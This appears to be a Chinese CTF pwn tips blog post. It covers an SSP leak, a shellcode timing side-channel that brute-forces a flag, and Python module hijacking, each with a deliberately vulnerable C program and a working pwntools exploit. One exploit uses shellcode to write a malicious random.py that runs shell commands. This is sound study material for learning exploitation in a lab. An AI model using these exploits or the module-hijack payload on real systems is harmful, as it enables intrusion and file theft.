Pwn_tips

2025-05-08

image

ssp leak

覆盖__start栈帧的argv[0], 然后直接触发__stack_chk_fail

void __attribute__ ((noreturn)) __stack_chk_fail (void) 
{  
    __fortify_fail ("stack smashing detected"); 
} 
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) 
{  
    /* The loop is added only to keep gcc happy. */ 
    while (1)   
        __libc_message (2, "*** %s ***: %s terminated\n",             
                        msg, __libc_argv[0] ?: "<unknown>"); //这里覆盖就可以泄露
}

side-channel

闲来无事,复习一下好久没遇到过的侧信道pwn

基本的打法有时间侧信道,要基于下面这个shellcode,如果匹配正确会循环,如果匹配失败会报错,我们通过这种回显进行侧信道爆破。

shellcode = '''
    xor byte ptr [rdi+{}],{}
    jz $
'''

我的想法使自己写两道题,一道题开沙箱只允许read、open;另一道题只读取8字节的输入。

自己给自己出题发现一个很有意思的事情,就是不能用scanf读取,因为我们遍历flag的时候遇到第十个字符的时候"\x10"会被解析成\n而被scanf截断。

┌──(kali㉿kali)-[~/Desktop/cha]
└─$ python3 sdc1
b'\x80w\n_t\xfe'
$
┌──(kali㉿kali)-[~/Desktop/cha]
└─$ cat side-channel.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <fcntl.h>      // For open() and O_RDONLY
#include <sys/types.h>  // For system data types
#include <sys/stat.h>   // For file status flags

void init(){
    size_t size = 0x200; 
    size_t size1 = 0x10;
    mmap((void *)0x114514, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    mmap((void *)0x12345, size1, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    setvbuf(stderr, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    if (mprotect((void *)0x12000, size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) {
        perror("mprotect failed");
        exit(1);}
}
void readflag(){
    int fd;
    fd = open("./flag",O_RDONLY);
    read(fd,(void *)0x114514,0x30);
}
void vuln(){
    printf("Ok, let's begin.\n");
    read(0,(void *)0x12345,0x8);    
    void (*func)() = (void (*)())0x12345;
    func((void *)0x114514);
}
int main(){
    init();
    readflag();
    vuln();
}
                                                                                                                         
┌──(kali㉿kali)-[~/Desktop/cha]
└─$ python3 sdc
6
f
fl
fla
flag
flag{
flag{T
flag{Th
flag{Thi
flag{This
flag{This_
flag{This_i
flag{This_is
flag{This_is_
flag{This_is_a
flag{This_is_a_
flag{This_is_a_T
flag{This_is_a_Te
flag{This_is_a_Tes
flag{This_is_a_Test
flag{This_is_a_Test1
flag{This_is_a_Test11
flag{This_is_a_Test111
flag{This_is_a_Test111!
flag{This_is_a_Test111!!
flag{This_is_a_Test111!!!
flag{This_is_a_Test111!!!}
flag{This_is_a_Test111!!!}}

┌──(kali㉿kali)-[~/Desktop/cha]
└─$ cat sdc           
from pwn import *
context(os='linux',arch='amd64',log_level='fatal')

shellcode = '''
    xor byte ptr [rdi+{}],{}
    jz $
'''
print(len(asm(shellcode.format(10,80))))
#b'\x80w\x01\x02t\xfe'

flag = ""
idx = 0
k = string.printable
p = [ord(x) for x in k]
while True:
    for i in p:
        g = True
        try:
            io = process('./side-channel')
            io.sendlineafter(b'begin.\n',asm(shellcode.format(idx,i)))
            #io.sendlineafter(b'begin.\n',b'\x80w'+p8(idx)+p8(i)+b't\xfe')
            m = io.can_recv(timeout=2)
            io.close()
            if not m:
                flag += chr(i)
                print(flag)
                idx += 1
                if chr(i)=="}":
                    print(flag+chr(i))
                    io.close()
            if m:
                continue
        except EOFError:
            io.close()

同理,orw的打法也大同小异。

┌──(kali㉿kali)-[~/Desktop/cha]
└─$ cat side-channel1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <fcntl.h>      // For open() and O_RDONLY
#include <sys/types.h>  // For system data types
#include <sys/stat.h>   // For file status flags

void
init(){
    size_t size = 0x200; 
    size_t size1 = 0x10;
    mmap((void *)0x114514, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    setvbuf(stderr, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    if (mprotect((void *)0x114000, size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) {
        perror("mprotect failed");
        exit(1);}
}
void
sandbox(){
    scmp_filter_ctx ctx;

    ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        perror("seccomp_init");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) < 0) {
        perror("seccomp_rule_add read");
        seccomp_release(ctx);
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) < 0) {
        perror("seccomp_rule_add open");
        seccomp_release(ctx);
        exit(1);
    }
    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0) {
        perror("seccomp_rule_add openat");
        seccomp_release(ctx);
        exit(1);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        exit(1);
    }

    seccomp_release(ctx);}

void vuln(){
    read(0,(void *)0x114514,0x100);     
    void (*func)() = (void (*)())0x114514;
    func();
}
int
main(){
    init();
    sandbox();
    vuln();
}

┌──(kali㉿kali)-[~/Desktop/cha]
└─$ cat sdc1           
from pwn import *
context(os='linux',arch='amd64',log_level='fatal')
shellcode = '''
    xor rax,rax
    add rax,2
    xor rsi,rsi
    mov rdi,0x67616c662f2e
    push rdi
    mov rdi,rsp
    syscall
    mov rdi,rax
    xor rax,rax
    mov rsi,0x114614
    mov rdx,0x30
    syscall
    mov rdi,rsi
    xor byte ptr [rdi+{}],{}
    jz $
'''
flag = ""
idx = 0
k = string.printable
p = [ord(x) for x in k]
while True:
    for i in p:
        g = True
        try:
            io = process('./side-channel1')
            io.send(asm(shellcode.format(idx,i)))
            m = io.can_recv(timeout=2)
            io.close()
            if not m:
                flag += chr(i)
                print(flag)
                idx += 1
                if chr(i)=="}":
                    print(flag+chr(i))
                    io.close()
            if m:
                sleep(0.1)
                continue
        except EOFError:
            io.close()

Python module Hijacking

这是一种针对于python的打法,笔者是在Actf2025看到有一个队这么偷菜的,因此这里记录并且复现一下,它的原理是python在import库的时候会先解析当前文件夹同名的文件作为库文件,因此我们可以用shellcode创建一个里面放满我们的恶意代码。

要实现这种打法,首先要有个python代码写的wrapper,笔者将会自己写一个类似的并且通过复现打法实现getshell。

┌──(root㉿kali)-[/home/kali/Desktop/cha]
└─# cat vuln.c        
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>      // For open() and O_RDONLY
#include <sys/types.h>  // For system data types
#include <sys/stat.h>   // For file status flags

int
main(){
    int fd;
    int size = 0x200;
    fd = open("shellcode.bin",0);
    mmap((void *)0x1234567, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    // Set RWX permissions on the buffer
    if (mprotect((void *)0x1234000, size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) {
        perror("mprotect failed");
        exit(1);
    }
    read(fd,(void *)0x1234567,0x200);
    void (*func)() = (void (*)())0x1234567;
    func();
}
                                                                                                                         
┌──(root㉿kali)-[/home/kali/Desktop/cha]
└─# cat wrapper.py
#!/usr/bin/python3
import os
import random
import string
import signal
import pathlib
import sys
def recv_shellcode() -> bytes:
    result = b""
    try:
        while True:
            print("> ", flush=True)
            line_content = input().strip()
            if not line_content:
                break
            result += bytes.fromhex(line_content)
    except Exception as err:
        print("Bad input format", flush=True)
        exit(-1)

    print(f"receive in total {len(result)} bytes, move on ...")
    return result

shellcode = recv_shellcode()
output_file = "./shellcode.bin" 
k = random.choice(string.hexdigits)
print(shellcode)
with open(output_file, "wb") as f:
    f.write(shellcode)
os.system("./vuln")

经过本地测试,只有以root权限连接才能实现,因为linux的权限管理极其严格导致非root权限生成的库无可执行权限

┌──(root㉿kali)-[/home/kali/Desktop/cha]
└─# python3 exp       
[+] Starting local process './wrapper.py': pid 19309
148
/home/kali/Desktop/cha/exp:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline(asm(sc).hex()+b'#'.hex()*0x10)
[*] Switching to interactive mode
> 
> 
receive in total 164 bytes, move on ...
b"jyH\xb8random.pPH\x89\xe71\xd2jB^j\x02X\x0f\x05H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8`f&(\x0b\x01\x01\x01H1\x04$H\xb8cat ./flPH\xb8system('PH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8u!nr\x0bnr/H1\x04$H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8xr\x0bhlqnsH1\x04$H\xb8import sPH\x89\xe6j\x04_j-Zj\x01X\x0f\x05################"
Segmentation fault (core dumped)
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process './wrapper.py' stopped with exit code 0 (pid 19309)
                                                                                                                         
┌──(root㉿kali)-[/home/kali/Desktop/cha]
└─# python3 exp
flag{This_is_a_Test111!!!}
Traceback (most recent call last):
  File "/home/kali/Desktop/cha/exp", line 1, in <module>
    from pwn import *
  File "/usr/lib/python3/dist-packages/pwn/__init__.py", line 4, in <module>
    from pwn.toplevel import *
  File "/usr/lib/python3/dist-packages/pwn/toplevel.py", line 15, in <module>
    import tempfile
  File "/usr/lib/python3.12/tempfile.py", line 184, in <module>
    from random import Random as _Random
ImportError: cannot import name 'Random' from 'random' (/home/kali/Desktop/cha/random.py)

┌──(root㉿kali)-[/home/kali/Desktop/cha]
└─# cat exp       
from pwn import *
io = process('./wrapper.py')
context(os='linux',arch='amd64')
fake_module = '''import sys
import os
os.system('cat ./flag')
'''
sc = shellcraft.amd64.open("random.py",66) #2(READ_ONLY)|64(CREATE) = 66
sc += shellcraft.amd64.write(4,fake_module,len(fake_module))
print(len(asm(sc)))
io.sendline(asm(sc).hex()+b'#'.hex()*0x10)
io.sendline()
io.interactive()